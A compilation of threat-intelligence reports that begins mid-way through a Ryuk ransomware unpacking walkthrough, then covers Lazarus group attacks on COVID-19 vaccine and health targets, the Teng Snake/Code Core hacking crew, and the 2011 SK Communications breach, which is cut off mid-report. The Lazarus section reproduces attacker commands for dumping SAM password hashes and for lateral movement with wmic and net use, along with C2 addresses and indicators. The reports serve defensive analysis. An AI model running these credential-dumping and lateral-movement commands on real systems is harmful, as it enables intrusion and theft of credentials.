`VirtualAlloc` you should follow the jmp routine into `Kernelbase` to get the base address of the newly allocated region and set the breakpoint on the return. Once the debugger has run, the breakpoint will hit. Follow the EAX register to the memory dump section to view if the `MZ` magic is present. When the process is run, it will hit the breakpoint `VirtualAlloc` and in the EAX is the newly allocated virtual memory section to begin loading a copy of itself into this section. Following the EAX to the memory dump shows that the memory has been allocated for loading. When continuing the process, the dump window begins to populate with data as it hits the breakpoint that is set several times. Once it is confirmed that the binary has been fully loaded into this section, the binary data can be dumped for inspection. The next step is to right-click on the memory dump and follow the dump in the memory map. This brings you to where the dump has been allocated in memory, and from here you can dump the memory to file. However, notice that the dumped memory does not have a valid PE header; we have to modify the header so the PE can work in the tool of your choice. This particular binary is straightforward to modify. Open up your favorite Hex editor, load the file, highlight everything before the `MZ` and delete it. Sometimes, just deleting extra bytes will not work if a blob of memory has corrupted magic bytes. In that scenario, you can copy a known good header and add it to the corrupted PE header to make a valid PE. If you follow the process from the beginning, the breakpoint will hit `VirtualAlloc` additional times. I’ve dumped the memory with the techniques shown above to show why Ryuk’s encryption on a system is so fast. ## Conclusion The FBI has stated that Ryuk Ransomware actors have been paid over 61 million dollars. With Ryuk attacks crippling organizations, this number will soon surpass the 100 million mark if it hasn’t done so already. However, guarding against the ransomware menace in general and Ryuk in particular is not complicated with the proper protection in place: The techniques used by these cybercriminals are well-understood and relatively simple. The weaknesses they exploit are organizations’ inability to detect and remediate at speed, but this is a problem that can be and has been solved. Meanwhile, as analysts, it’s important that we keep up with the latest developments and techniques deployed by adversaries. At SentinelOne, we track the ever-changing variants of Ryuk to understand the latest capabilities added to this ransomware family. In this post, we have detailed how Ryuk has evolved to increase its speed of encryption and the methods it uses for evasion. In a future post, we will cover Ryuk’s network layer and the many artifacts collected during our analysis process. ## Samples - **SHA256:** f8bc1638ec3b04412f708233e8586e1d91f18f6715d68cba1a491d4a7f457da0 - **SHA1:** c3fa91438850c88c81c0712204a273e382d8fa7b - **SHA256:** 7e28426e89e79e20a6d9b1913ca323f112868e597fcaf6b9e073102e73407b47 - **SHA1:** 5767653494d05b3f3f38f1662a63335d09ae6489 ## MITRE ATT&CK - Command and Scripting Interpreter T1059 - Native API T1106 - Application Shimming T1546.011 - Process Injection T1055 - Masquerading T1036 - Virtualization/Sandbox Evasion T1497.001 - Deobfuscate/Decode Files T1140 - Obfuscated Files or Information T1027 - System Time Discovery T1124 - Security Software Discovery T1518.001 - Process Discovery T1057 - File and Directory Discovery T1083 - System Information Discovery T1082 - Archive Collected Data T1560 - Encrypted Channel T1573
# Lazarus Covets COVID-19-Related Intelligence As the COVID-19 crisis grinds on, some threat actors are trying to speed up vaccine development by any means available. We have found evidence that actors, such as the Lazarus group, are going after intelligence that could help these efforts by attacking entities related to COVID-19 research. While tracking the Lazarus group’s continuous campaigns targeting various industries, we discovered that they recently went after COVID-19-related entities. They attacked a pharmaceutical company at the end of September, and during our investigation, we discovered that they had also attacked a government ministry related to the COVID-19 response. Each attack used different tactics, techniques, and procedures (TTPs), but we found connections between the two cases and evidence linking those attacks to the notorious Lazarus group. ## Relationship of Recent Lazarus Group Attack In this blog, we describe two separate incidents. The first one is an attack against a government health ministry: on October 27, 2020, two Windows servers were compromised at the ministry. We were unable to identify the infection vector, but the threat actor was able to install a sophisticated malware cluster on these servers. We already knew this malware as ‘wAgent’. Its main component only works in memory and fetches additional payloads from a remote server. The second incident involves a pharmaceutical company. According to our telemetry, this company was breached on September 25, 2020. This time, the Lazarus group deployed the Bookcode malware, previously reported by ESET, in a supply chain attack through a South Korean software company. We were also able to observe post-exploitation commands run by Lazarus on this target. Both attacks leveraged different malware clusters that do not overlap much. However, we can confirm that both of them are connected to the Lazarus group, and we also found overlaps in the post-exploitation process. ### wAgent Malware Cluster The malware cluster has a complex infection scheme. Unfortunately, we were unable to obtain the starter module used in this attack. The module seems to have a trivial role: executing wAgent with specific parameters. One of the wAgent samples we collected has fake metadata to make it look like the legitimate compression utility XZ Utils. According to our telemetry, this malware was directly executed on the victim machine from the command line shell by calling the Thumbs export function with the parameter: ``` c:\windows\system32\rundll32.exe C:\Programdata\Oracle\javac.dat, Thumbs 8IZ-VU7-109-S2MY ``` The 16-byte string parameter is used as an AES key to decrypt an embedded payload – a Windows DLL. When the embedded payload is loaded in memory, it decrypts configuration information using the given decryption key. The configuration contains various information including C2 server addresses, as well as a file path used later on. Although the configuration specifies two C2 servers, it contains the same C2 server twice. Interestingly, the configuration has several URL paths separated with an ‘@’ symbol. The malware attempts to connect to each URL path randomly. When the malware is executed for the first time, it generates identifiers to distinguish each victim using the hash of a random value. It also generates a 16-byte random value and reverses its order. Next, the malware concatenates this random 16-byte value and the hash using ‘@’ as a delimiter, e.g., `82UKx3vnjQ791PL2@29312663988969`. POST parameter names are decrypted at runtime and chosen randomly at each C2 connection. We’ve previously seen and reported to our Threat Intelligence Report customers that a very similar technique was used when the Lazarus group attacked cryptocurrency businesses with an evolved downloader malware. It is worth noting that Tistory is a South Korean blog posting service, which means the malware author is familiar with the South Korean internet environment. The malware encodes the generated identifier as base64 and POSTs it to the C2. Finally, the agent fetches the next payload from the C2 server and loads it in memory directly. Unfortunately, we couldn’t obtain a copy of it, but according to our telemetry, the fetched payload is a Windows DLL containing backdoor functionalities. Using this in-memory backdoor, the malware operator executed numerous shell commands to gather victim information: ``` cmd.exe /c ping -n 1 -a 192.[redacted] cmd.exe /c dir \\192.[redacted]\c$ cmd.exe /c query user cmd.exe /c net user [redacted] /domain cmd.exe /c whoami ``` ### Persistent wAgent Deployed Using the wAgent backdoor, the operator installed an additional wAgent payload that has a persistence mechanism. After fetching this DLL, an export called SagePlug was executed with the following command line parameters: ``` rundll32.exe c:\programdata\oracle\javac.io, SagePlug 4GO-R19-0TQ-HL2A c:\programdata\oracle\~TMP739.TMP ``` 4GO-R19-0TQ-HL2A is used as a key, and the file path indicates where debugging messages are saved. This wAgent installer works similarly to the wAgent loader malware described above. It is responsible for loading an embedded payload after decrypting it with the 16-byte key from the command line. In the decrypted payload, the malware generates a file path to proceed with the infection: ``` C:\Windows\system32\[random 2 characters]svc.drv ``` This file is disguised as a legitimate tool named SageThumbs Shell Extension. This tool shows image files directly in Windows Explorer. However, inside it contains an additional malicious routine. While creating this file, the installer module fills it with random data to increase its size. The malware also copies cmd.exe’s creation time to the new file in order to make it less easy to spot. For logging and debugging purposes, the malware stores information in the file provided as the second argument (c:\programdata\oracle\~TMP739.TMP in this case). This log file contains timestamps and information about the infection process. We observed that the malware operators were checking this file manually using Windows commands. These debugging messages have the same structure as previous malware used in attacks against cryptocurrency businesses involving the Lazarus group. After that, the malware decrypts its embedded configuration. This configuration data has a similar structure as the aforementioned wAgent malware. It also contains C2 addresses in the same format: ``` hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp ``` The malware encrypts configuration data and stores it as a predefined registry key with its file name: ``` HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate – [random 2 characters]svc ``` It also takes advantage of the Custom Security Support Provider by registering the created file path to the end of the existing registry value. Thanks to this registry key, this DLL will be loaded by lsass.exe during the next startup. Finally, the starter module starts the [random 2 characters]svc.drv file in a remote process. It searches for the first svchost.exe process and performs DLL injection. The injected [random 2 characters]svc.drv malware contains a malicious routine for decrypting and loading its embedded payload. The final payload is wAgent, which is responsible for fetching additional payloads from the C2, possibly a fully featured backdoor. ### Bookcode Malware Cluster The pharmaceutical company targeted by Lazarus group’s Bookcode malware is developing a COVID-19 vaccine and is authorized to produce and distribute COVID-19 vaccines. We previously saw Lazarus attack a software company in South Korea with Bookcode malware, possibly targeting the source code or supply chain of that company. We have also witnessed the Lazarus group carry out spear phishing or strategic website compromise in order to deliver Bookcode malware in the past. However, we weren’t able to identify the exact initial infection vector for this incident. The whole infection procedure confirmed by our telemetry is very similar to the one described in ESET’s latest publication on the subject. #### Bookcode Infection Procedure Although we didn’t find the piece of malware tasked with deploying the loader and its encrypted Bookcode payload, we were able to identify a loader sample. This file is responsible for loading an encrypted payload named gmslogmgr.dat located in the system folder. After decrypting the payload, the loader finds the Service Host Process (svchost.exe) with winmgmt, ProfSvc, or Appinfo parameters and injects the payload into it. Unfortunately, we couldn’t acquire the encrypted payload file, but we were able to reconstruct the malware actions on the victim machine and identify it as the Bookcode malware we reported to our Threat Intelligence Report customers. Upon execution, the Bookcode malware reads a configuration file. While previous Bookcode samples used the file perf91nc.inf as a configuration file, this version reads its configuration from a file called C_28705.NLS. This Bookcode sample has almost identical functionality as the malware described in the comprehensive report recently published by Korea Internet & Security Agency (KISA). As described on page 57 of that report, once the malware is started, it sends information about the victim to the attacker’s infrastructure. After communicating with the C2 server, the malware provides standard backdoor functionalities. ### Post-Exploitation Phase The Lazarus group’s campaign using the Bookcode cluster has its own unique TTPs, and the same modus operandi was used in this attack. - Extracting infected host information, including password hashes, from the registry sam dump. - Using Windows commands in order to check network connectivity. - Using the WakeMeOnLan tool to scan hosts in the same network. After installing Bookcode on September 25, 2020, the malware operator started gathering system and network information from the victim. The malware operator also collected a registry sam dump containing password hashes: ``` exe /c “reg.exe save hklm\sam %temp%\~reg_sam.save > “%temp%\BD54EA8118AF46.TMP~” 2>&1″ exe /c “reg.exe save hklm\system %temp%\~reg_system.save > “%temp%\405A758FA9C3DD.TMP~” 2>&1″ ``` In the lateral movement phase, the malware operator used well-known methodologies. After acquiring account information, they connected to another host with the “net” command and executed a copied payload with the “wmic” command: ``` exe /c “netstat -aon | find “ESTA” > %temp%\~431F.tmp exe /c “net use \\172.[redacted] “[redacted]” /u:[redacted] > %temp%\~D94.tmp” 2>&1″ wmic /node:172.[redacted] /user:[redacted] /password:”[redacted]” process call create “%temp%\engtask.exe” > %temp%\~9DC9.tmp” 2>&1″ ``` Moreover, Lazarus used ADfind in order to collect additional information from the Active Directory. Using this utility, the threat actor extracted a list of the victim’s users and computers. ### Infrastructure of Bookcode As a result of closely working with the victim to help remediate this attack, we discovered an additional configuration file. It contains four C2 servers, all of which are compromised web servers located in South Korea. ``` hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp hxxp://www.k-kiosk[.]com/bbs/notice_write.asp hxxps://www.gongim[.]com/board/ajax_Write.asp hxxp://www.cometnet[.]biz/framework/common/common.asp ``` One of those C2 servers had directory listing enabled, so we were able to gain insights as to how the attackers manage their C2 server: #### Attacker Files Listed on a Compromised Website We discovered several log files and a script from the compromised server, which is a “first-stage” C2 server. It receives connections from the backdoor but only serves as a proxy to a “second-stage” server where the operators actually store orders. | File Name | Description | |-------------------------------|-------------| | _ICEBIRD007.dat | A log file containing the identifier of victims and timestamps. | | ~F05990302ERA.jpg | Second-stage C2 server address: hxxps://www.locknlockmall[.]com/common/popup_left.asp | | Customer_Session.asp | Malware control script. | Customer_Session.asp is a first-stage C2 script responsible for delivering commands from the next-stage C2 server and command execution results from the implant. In order to deliver proper commands to each victim, the bbs_code parameter from the implants is used as an identifier. ### Logic of the C2 Script Besides implant control features, the C2 script has additional capabilities such as updating the next-stage C2 server address, sending the identifier of the implant to the next-stage server, or removing a log file. | Table Name | Function | Description | |-------------------------------|----------------------|-------------| | table_qna | qnaview | Set [id]_209 variable to TRUE and save the “content” parameter value to [id]_211. | | table_recruit | recuritview | If [id]_209 is SET, send contents of [id]_211 and reset it, and set [ID]_209 to FALSE. | | table_notice | notcieview | Set [id]_208 and save the “content” parameter value to [id]_210. | | table_bVoice | voiceview | If [id]_208 is SET, send contents of [id]_210 and reset it, and set [id]_208 to FALSE. | | table_bProduct | productview | Update the ~F05990302ERA.jpg file with the URL passed as the “target_url” parameter. | | table_community | communityview | Save the identifier of the implant to the log file. Read the second-stage URL from ~F05990302ERA.jpg and send the current server URL and identifier to the next hop server using the specified format. | | table_free | freeview | Read _ICEBIRD007.dat and send its contents, and delete it. | ## Attribution We assess with high confidence that the activity analyzed in this post is attributable to the Lazarus group. In our previous research, we already attributed the malware clusters used in both incidents described here to the Lazarus group. Both cases used a similar malware naming scheme, generating two characters randomly and appending “svc” to it to generate the path where the payload is dropped. Both malicious programs use a Security Support Provider as a persistence mechanism. Both malicious programs have almost identical debugging messages. Here is a side-by-side comparison of the malware used in the ministry of health incident, and the malware used in the cryptocurrency business attack: | Debugging Log from Ministry of Health Case | Debugging Log of Cryptocurrency Business Case | |---------------------------------------------|-----------------------------------------------| | 15:18:20 Extracted Dll : [random 2bytes]svc.drv | Extracted Dll : [random 2bytes]svc.dll | | 15:59:32 Reg Config Success ! | Extracted Injecter : [random 2bytes]proc.exe | | 16:08:45 Register Svc Success ! | Reg Config Success ! | | 16:24:53 Injection Success, Process ID : 544 | Start Injecter Success ! | Regarding the pharmaceutical company incident, we previously concluded that Bookcode is exclusively used by the Lazarus group. According to our Kaspersky Threat Attribution Engine (KTAE), one of the Bookcode malware samples contains lots of code overlaps with old Manuscrypt variants. Moreover, the same strategy was used in the post-exploitation phase, for example, the usage of ADFind in the attack against the health ministry to collect further information on the victim’s environment. The same tool was deployed during the pharmaceutical company case in order to extract the list of employees and computers from the Active Directory. Although ADfind is a common tool for the post-exploitation process, it is an additional data point that indicates that the attackers use shared tools and methodologies. ## Conclusions These two incidents reveal the Lazarus group’s interest in intelligence related to COVID-19. While the group is mostly known for its financial activities, it is a good reminder that it can go after strategic research as well. We believe that all entities currently involved in activities such as vaccine research or crisis handling should be on high alert for cyberattacks. ## Indicators of Compromise ### wAgent - dc3c2663bd9a991e0fbec791c20cbf92 %programdata%\oracle\javac.dat - 26545f5abb70fc32ac62fdab6d0ea5b2 %programdata%\oracle\javac.dat - 9c6ba9678ff986bcf858de18a3114ef3 %programdata%\grouppolicy\Policy.DAT ### wAgent Installer - 4814b06d056950749d07be2c799e8dc2 %programdata%\oracle\javac.io, %appdata%\ntuser.dat ### wAgent Compromised C2 Servers 1. http://client.livesistemas[.]com/Live/posto/[email protected]@[email protected]@story.jsp 2. hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp 3. hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp 4. hxxp://www.bytecortex.com[.]br/eletronicos/[email protected]@[email protected]@Functions.jsp 5. hxxps://sac.najatelecom.com[.]br/sac/Dados/[email protected]@[email protected]@default.jsp ### wAgent File Path - %SystemRoot%\system32\[random 2 characters]svc.drv ### wAgent Registry Path - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate - [random 2 characters]svc ### Bookcode Injector - 5983db89609d0d94c3bcc88c6342b354 %SystemRoot%\system32\scaccessservice.exe, rasprocservice.exe ### Bookcode File Path - %SystemRoot%\system32\C_28705.NLS - %SystemRoot%\system32\gmslogmgr.dat ### Bookcode Compromised C2 Servers 1. hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp 2. hxxp://www.k-kiosk[.]com/bbs/notice_write.asp 3. hxxps://www.gongim[.]com/board/ajax_Write.asp 4. hxxp://www.cometnet[.]biz/framework/common/common.asp 5. hxxps://www.locknlockmall[.]com/common/popup_left.asp ## MITRE ATT&CK Mapping | Tactic | Technique. | Technique Name. | |-------------------------------|-----------------|------------------| | Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | | | T1569.002 | System Services: Service Execution | | Persistence | T1547.005 | Boot or Logon Autostart Execution: Security Support Provider | | | T1543.003 | Create or Modify System Process: Windows Service | | Privilege Escalation | T1547.005 | Boot or Logon Autostart Execution: Security Support Provider | | | T1543.003 | Create or Modify System Process: Windows Service | | | T1055.001 | Process Injection: Dynamic-link Library Injection | | Defense Evasion | T1070.006 | Indicator Removal on Host: Timestomp | | | T1055.001 | Process Injection: Dynamic-link Library Injection | | | T1140 | Deobfuscate/Decode Files or Information | | | T1027.001 | Obfuscated Files or Information: Binary Padding | | Credential Access | T1003.002 | OS Credential Dumping: Security Account Manager | | Discovery | T1082 | System Information Discovery | | | T1033 | System Owner/User Discovery | | | T1049 | System Network Connections Discovery | | Lateral Movement | T1021.002 | SMB/Windows Admin Shares | | Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | | | T1132.001 | Data Encoding: Standard Encoding | | Exfiltration | T1041 | Exfiltration Over C2 Channel |
# 变脸, Teng Snake (a.k.a. Code Core) **Author:** HOTSAUCE | S2W TALON **Date:** July 6, 2022 As @CrazymanArmy and @ShadowChasing1 pointed out, our conclusion is also the same that there is no concrete evidence to connect Teng Snake with the previously known APT-C-61. ## Executive Summary The “Teng Snake” team has created Telegram channels and group chats since October 2021. At the time, the team consisted of 4 core members and 7 sub-teams, systematically operating channels and group chats. They claimed to be APT-C-61, promoted provocatively, operated study teams, and recruited team members. However, there is no clear evidence that they are related to APT-C-61. - **(2022–02–10)** Claimed to be APT-C-61 and started full-fledged activities. - **(2022–03–19)** Shared information about a Korean website vulnerability and a list of 97 websites that may have the same vulnerability in one of the Teng Snake-managed group chats. - **(2022–04–07)** Started selling PII (Personal Identifiable Information) and chemicals, and receiving hacking requests. - **(2022–05–02)** A user named uteus, who claimed to be part of the team, uploaded a post on an underground forum titled “South Korean health department invades” that was selling AD server privileges from an association. The same post was uploaded to the newly opened Code Core Telegram channel on May 6 and Soaring Snake Twitter account on May 7 and 13. - **(2022–05–20)** Declared the suspension of for-profit activities and shut down Telegram channels including several group chats except one channel. Mekimer started using the CodecoreSET account on Telegram from this point. - **(2022–06–17)** Yashma-based ransomware has been discovered. ## 1. Abstract The Teng Snake team first began opening channels and group chats in October 2021. By June 2022, we found 7 Telegram channels, 5 group chats, 6 accounts, and a Twitter account Soaring Snake (@scan66322894) believed to be associated with Teng Snake. The activities of the Teng Snake team from Telegram channels and group chats are listed in Figure 1. ### 1.1. Timeline of Teng Snake x Code Core ## 2. Core members of Teng Snake The IDs of Telegram channels and group chats, which were directly managed by the Teng Snake team, were composed in the form of APT{2,3 digits}. The full list of Telegram channels and group chats can be found in Appendix A. The Teng Snake team revealed that the team had 4 core members and mentioned their roles as shown below. ### 2.1. Mekimer: Head of Teng Snake Mekimer is the leader and seems to be the keyman of the Teng Snake team. Most of the critical information shared in all Teng Snake group chats is forwarding Mekimer’s messages. The vulnerability information of the Korean website was also shared by forwarding a Mekimer’s message. We found 2 blogs that are believed to be managed by Mekimer, in which he listed some of his personal information. According to the information posted, he is a 21-year-old man and currently resides in Cambodia. Initially, we assumed that Mekimer was living in China, but in the group chats, he steadily claimed that he was abroad. It is difficult to confirm as there is no proof to back this up. We also found that the nickname he used before working as alias Mekimer was anqusec. By clicking on the word “回忆” (memories) at the bottom of Mekimer’s blog, it redirects to the anqusec blog. The blog posts also show that Mekimer continued to attack websites in China and other overseas countries. We found articles on how to use hacking tools such as Nessus and AWVS, and articles on the use of 1-day vulnerabilities. In particular, he had written articles about website infiltration periodically, and we also found that he infiltrated a Chinese coin exchange server using the log4shell exploit. After the Teng Snake team shut down some of their Telegram channels and group chats, Mekimer started using the alias CodecoreSET. ### 2.2. Activity history of anqusec in an underground forum We found that Mekimer uploaded three posts on an underground forum using the alias anqusec from November 13 to 15, 2021. He introduced himself as part of the Thunder Domain (or Xunlei domain name) team in the following three posts: - **(2021–11–13)** Official Portal of Kerala Local Government Leaked - **(2021–11–15)** Fulbright plan | thunder field | 2021 | data operation - **(2021–11–15)** ICAT international technology center of India | Xunlei domain | 2021 Mekimer appears to have provoked ATW (Against The West) last year, saying he knew his identity. ATW responded they were still waiting for him to reveal his identity in one of the posts published by Mekimer. Mekimer has not yet released ATW’s identity, and we assume that he did not actually have ATW’s identity and just wanted to get attention or show off. ### 2.3. Skull Killer: Pentester of Teng Snake Skull Killer is responsible for website penetration, OSINT, and vulnerability discovery in the Teng Snake team. In particular, Skull Killer is emphasized to have a large amount of personal information, which can be seen from his previous Telegram channel and group chat. Skull Killer operated one Telegram group chat and one channel. The group chat was opened in August 2020, but it began operating in October 2021. Various personal information, hacking tools, and vulnerabilities were shared in the group chat and their channels. On January 29, 2022, a text file named “韩国_外汇_375224 份_3月.txt” was uploaded to a chat room operated by Skull Killer. The file included 375,224 Korean account information, consisting of e-mail, name, phone number, job information, and hashed password. ## 3. Mekimer + Skull Killer + α On February 10, 2022, Teng Snake shared a screenshot that contains directories and files they used in the attack conducted in 2019, with the analysis report published by 360 Security about APT-C-61. According to 360 Security, the APT-C-61 group primarily targeted Pakistan and Bangladesh, particularly important sectors such as government, military industry, and research centers. APT-C-61 used spear-phishing and social engineering techniques to infiltrate, and DDE to download malware. The malware that is finally installed on the host is an executable file packaged with pyinstaller that executes commands received from the C&C server. Afterward, utilities such as 7za.exe and rclone.exe were also downloaded to exfiltrate sensitive files. Teng Snake group claimed to be APT-C-61 group, but the screenshot they uploaded contained 2 python scripts, one suspected to be a tool. The tool has the same size (3kb) as the publicly available script on Github. Also, a directory that was suspected to be an open-source tool is also displayed. Furthermore, while APT-C-61 used Google Drive and Dropbox, Teng Snake is using Ali Cloud. While the countries affected by APT-C-61 are located in South Asia, the countries identified in the analysis are South Korea, Myanmar, Turkey, and Taiwan. It’s an overstatement to call them an APT group, as they are carrying out their attacks with very obscure purposes. As a result, when comparing the information of the APT-C-61 group with the information of Teng Snake that has been released so far, it is hard to say that Teng Snake is an APT-C-61 group. ## 4. Teng Snake started the emerging cyber threat in the real world. ### 4.1. Korean website vulnerability shared on a group chat On March 19, 2022, a file named “韩国网贷.txt” was uploaded to a group chat along with several files. The message was a forwarded Mekimer’s message by a user named 雷域, presumed to be the manager of the group chat. The file appears to be educational material for users in the group chat. Hacking tools, hacking tips, a vulnerability, and a payload used to attack South Korean websites were included in the file. It also included a list of websites that showed the possibility of vulnerabilities or whether they existed. The vulnerability was a SQL injection, and inside the file, there was an exploit payload that could be used for actual attacks. In addition, we were able to check the precautions and hacking tips to be taken: - Use Nessus or AWVS 13.14 version instead of XRAY when scanning Korean websites for vulnerabilities. - Use dynamic IP. - Look at the subdomains of the target website. - Many XSS vulnerabilities are found, but few are useful. - Social engineering, such as phishing mail, is much more useful to target administrators. Finally, a list of 97 websites (one duplicated) that can test the aforementioned vulnerabilities was also shared, with more than half belonging to the financial and loan industry. ### 4.2. Start selling PII, databases, and chemicals At the end of March, Teng Snake closed some of their Telegram group chats and channels and also stopped recruitment. At the time of recruiting, it is estimated that at least 100 people were recruited in each of 3 group chats, so it seems that enough people gathered to stop recruiting and begin commercial activities. On April 7, 2022, Teng Snake posted on their main channel that they started selling chemicals and would not sell them to China. On April 20, 2022, the Teng Snake team announced that they would start receiving hacking requests and released their unit price list. After they released their unit price, they continuously promoted that they were receiving hacking requests on the Telegram channel. However, it seems that they were not paid even after finishing some requests. In addition, they also sold Chinese personal information. After that, on May 2, the suspension of receiving hacking requests and data sales was announced. Some buyers had raised suspicions about the resale of data sold by the Teng Snake team, and some clients had not paid. This seems to be why they declared a shutdown. ### 4.3. Selling AD server privilege of South Korea health department On May 2, 2022, a user named uteus posted on an underground forum titled “South Korean Health Department Invades.” He pointed out he was part of a team called White Dawn and sold access permission with captured photos of him accessing the AD server believed to belong to the Ministry of Health and Welfare of Korea. The Teng Snake team introduced themselves as White Dawn only in this post, and later introduced themselves as Soaring Snake (or Snakes) team, as part of the Code Core team. Currently, Teng Snake’s Mekimer (a.k.a. CorecodeSET) and uteus are believed to be in the Code Core team. As a result of analysis based on the username on the sample photo, it was confirmed that the actual target of the attack was a different association. We presumed that they lack an understanding of Korea. In addition, supplementary profit-generating activities through the distribution of ransomware were not being used at that time. ### 4.4. Who is uteus? uteus is currently one of the members of the Code Core team and is believed to be responsible for planning attacks and recruiting team members. He has started activities on the forum since April 15. On April 15, 2022, when he began his activities, he posted about selling an iOS browser RCE Zero Day and Twitter Token Zero Day. But he was criticized by other users for not providing grounds for the vulnerabilities. He also commented on the article titled “Отключаем Windows Defender (+ UAC Bypass, + Повышение до уровня SYSTEM),” asking what passwords were for downloading tools for Windows EoP. cinder, mentioned in “South Korean health department invades,” is the alias he used on another underground forum. He has started activities on the forum since April 3. On May 22, 2022, a post titled “Against-Killnet” was posted. He wrote to those who resisted Killnet, commenting “Anonymous needs you,” suggesting that he is related to Anonymous. ### 4.5. Recruiting new team members and mentioning NATO After announcing the suspension of receiving hacking requests and personal information sales on the Telegram channel, Teng Snake began recruiting new team members on May 7. The difference is that they started to check the hacking skills of the applicants. The conditions for joining the Teng Snake team were stated that they should be experienced (webshell upload, high-risk vulnerabilities, penetration of internal network nodes) in taking control of the internal network of NATO allies. On Twitter, they claimed that South Korea’s entry into NATO would cause a new war and that they had already seized confidential data from the Ministry of National Defense. Korea joining NATO mentioned here means that Korea has joined the NATO Cooperative Cyber Defence Centre of Excellence as a regular member. Through this, it is speculated that Teng Snake lacks understanding of this case and just ostensibly mentions it to create justification for attacks on NATO-related countries. From this point on, May 17, they started receiving new team members who can steal server privileges for non-governmental organizations, military, and third-party supply chains. ### 4.6. Code Core Ransomware Detected On June 17, 2022, Code Core Ransomware was uploaded to Virus Total. The ransomware was created by the Yashma ransomware builder (a.k.a. Chaos ransomware builder), and the ransom note was customized to include their team name. Based on the use of minor Yashma ransomware builders rather than other famous RaaS, the Code Core team seems to lack expertise in ransomware and the ransomware ecosystem. ## Conclusion Most of the attack methods used by the Teng Snake team have not been disclosed, but it is estimated that they are mainly focused on cloud and web servers. Currently, it has been confirmed that Mekimer, the team leader of Teng Snake, has joined the Code Core team and is attacking South Korea and NATO countries along with uteus and other team members. The Code Core team is currently developing Yashma-based ransomware, so it is expected to use the ransomware in future attacks. Government agencies in NATO countries need to continuously monitor their activities. ## Appendix A. Teng Snake’s group structure and managed Telegram channels, accounts, and group chats **Teng Snake’s group structure** **Group chats** - 【腾蛇】-技术交流群 - 九婴血色安全团队 - 雷霆渗透测试团队 - 青鸾社工团队 - 学习组 **Channels and accounts** ## Appendix B. Links associated with Mekimer **Surface Web** - Anqusec github: - Anqusec blog: - Mekimer github: - Mekimer blog: **Deep Web** - Anqusec Telegram Channel: ## Appendix C. Other information sharing and sales - **(2022.04.04)** Shared Japanese E-mail lists - **(2022.05.06)** 300 million total sales of American personal information. The data was also sold on a collaboration channel, and it is still being sold on the channel. The collaboration channel was initially introduced as a channel managed by the Teng Snake team, but from the end of March, it was introduced as an advertising channel. It is presumed that the Teng Snake team is operating independently even after they stopped working. ## Appendix D. Code Core Ransomware - **(2021–08–25)** S2W, Sample of Code Core Ransomware - VirusTotal: [link] - ANY.RUN: [link] S2W is a big data intelligence company specialized in the Dark Web, Deep Web, and any other covert channels.
# SK Hack by an Advanced Persistent Threat ## ABSTRACT This document summarises the July 2011 intrusion into SK Communications which culminated in the theft of the personal information of up to 35 million people. It describes the use of a trojaned software update to gain access to the target network, in effect turning a security practice into a vulnerability. It also describes the use of a legitimate company to host tools used in the intrusion. Links between this intrusion and other malicious activity are identified and valuable insights are provided for network defenders. Technical details of malicious software and infrastructure are also provided. **WARNING** The sophistication of the attack along with the period of time over which it was planned, and conducted, indicate that this attack was likely to have been undertaken by an Advanced Persistent Threat. This paper discusses malicious activity and identifies Internet Protocol (IP) addresses, domain names, and websites that may contain malicious content. For safety reasons these locations should not be accessed, scanned, probed, or otherwise interacted with unless their trustworthiness can be verified. ## SK HACK On 28 July 2011 SK Communications announced it had been the subject of a hack which resulted in the theft of the personal details of up to 35 million of its users. The compromised details were those of CyWorld and Nate users, as stored in SK Communications’ user databases. CyWorld is South Korea’s largest social networking site and Nate is a popular South Korean web portal. Both services are owned by SK Communications. Such routine updates (commonly known as 'patches') are a good security practice as they often include fixes for security weaknesses identified in the software. Without software updates the SK Communications computers would have been vulnerable to several other attacks including a significant one which was made public in June 2011. The security of software updates is usually trusted implicitly and the exploitation of this trust relationship could go undetected by many targets, as it did for some time by SK Communications. Between 18 and 25 July the attackers conducted command and control and monitoring activities on the infected computers. This involved the upload of tools, conveniently stored on the website of a Taiwanese publishing company the attackers had earlier hacked. Then on 26 July 2011, the attackers, having done the necessary groundwork, proceeded to hack the Nate and CyWorld user databases. Using ‘waypoints’ to obfuscate the source of their activities, the attackers successfully stole the personal details of up to 35 million SK Communications customers from the user databases. These personal details included names, phone numbers, home and email addresses, birth dates, gender details, user identifiers, passwords and, due to South Korea’s Real Name System which was in place at the time, also resident registration numbers. The passwords and resident registration numbers were reportedly encrypted but the other details were not. ## THE UPDATE SERVER The update server used by the attackers as a launchpad for their attack against SK Communications was ESTsoft’s ALZip update server. ESTsoft is a large South Korean software company. The attackers modified the ALZip update server. Computers check for ALZip software updates and are redirected to a Content Delivery Network (CDN). Non-targeted computers download a legitimate update from the ESTsoft CDN. Targeted computers download a trojaned update from the attacker’s malicious CDN. This specific targeting of SK Communications indicates the targeting wasn’t purely opportunistic. To target the company in the manner they did, the attackers would have needed knowledge of SK Communications and its use of ALZip, ahead of the attack. ## THE INFECTED COMPUTERS After the ALZip update program downloaded the trojaned update onto the 60+ SK Communications computers, the computers subsequently became infected with malware known as ‘Backdoor.Agent.Hza’. The trojaned update file ‘dropped’ the malware onto the computers and, in so doing, gave the attacker a ‘backdoor’ into them. The trojaned update is detected as ‘Trojan.Dropper.Agent.Hza’ and ‘V.DRP.Agent.Hza’ by different versions of ESTsoft’s ALYac antivirus software. Once infected, the computers communicated with the command and control server located at South Korean IP address 116.127.121.41 on Transmission Control Protocol (TCP) port 8080. It is possible the infected SK computers used the callback domain ‘update.alyac.org’ to locate the command and control server. Between 18 July 2011 and 25 July 2011, the attackers used the infected computers to collect additional internal access information and database credentials. They presumably used a file named ‘x.exe’ to acquire some of this information, after downloading it onto infected computers from a toolbox they had earlier set up. ## THE DATABASE ACCESS After the week collecting information from the infected computers the attackers were ready to access the databases. On 26 July 2011, they used the information they had gathered, along with a malicious program named ‘nateon.exe’, to access the Nate and CyWorld databases. The theft of information continued into the following day – 27 